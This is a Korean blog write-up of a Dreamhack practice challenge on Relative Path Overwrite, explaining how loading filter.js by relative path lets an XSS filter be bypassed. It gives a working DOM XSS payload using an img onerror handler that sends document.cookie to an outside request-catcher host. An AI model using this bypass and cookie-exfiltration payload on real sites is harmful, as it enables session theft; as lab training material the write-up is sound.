WEB hacking/드림핵(dreamhack)

드림핵 Relative Path Overwrite WriteUp

Roronoa 2023. 9. 8. 02:03
반응형

문제 설명

Relative Path Overwrite에서 실습하는 문제이다.

문제 풀이

vuln.php

<script src="filter.js"></script>
<pre id=param></pre>
<script>
    var param_elem = document.getElementById("param");
    var url = new URL(window.location.href);
    var param = url.searchParams.get("param");
    if (typeof filter !== 'undefined') {
        for (var i = 0; i < filter.length; i++) {
            if (param.toLowerCase().includes(filter[i])) {
                param = "nope !!";
                break;
            }
        }
    }

    param_elem.innerHTML = param;
</script>

src로 filter.js를 상대경로로 불러오고 있다. 해당 js파일은 XSS 공격을 필터링하기 위한 코드가 포함되어 있는 파일이다. 하지만 filter.js를 상대경로로 불러오고 있기 때문에 Relative-path-Overwrite(RPO) 취약점이 발생할 수 있다.

 

[그림 1] vuln 페이지 filter.js 파일 확인

그림 1은 vuln페이지에 접속하였을 때 나타나는 화면이다. filter.js로 필터링할 문자열들을 불러오고 있다.

 

[그림 2] RPO 공격 후 filter.js 파일 변조

index.php를 /?page 사이에 입력하여도 정상적으로 화면이 출력된다. 하지만 filter.js는 상대 경로로 되어있으니 /index.php/filter.js를 참조하기 때문에 XSS 필터링을 우회할 수 있다.

 

공격 코드(report 페이지에서 요청)

index.php/?page=vuln&param=<img src=@ onerror=location.href="https://pkeoluk.request.dreamhack.games/"%2bdocument.cookie>

해당 XSS는 DOM XSS이기때문에 script 태그를 이용한 공격은 불가능하다. 따라서 img 태그에 onerror를 이용하여 쿠키를 공격자 서버에 전송하는 시나리오로 진행하였다.

 

플래그

[그림 3] 플래그 확인

공격자 서버에 사용자의 쿠키가 성공적으로 전송되었다.

반응형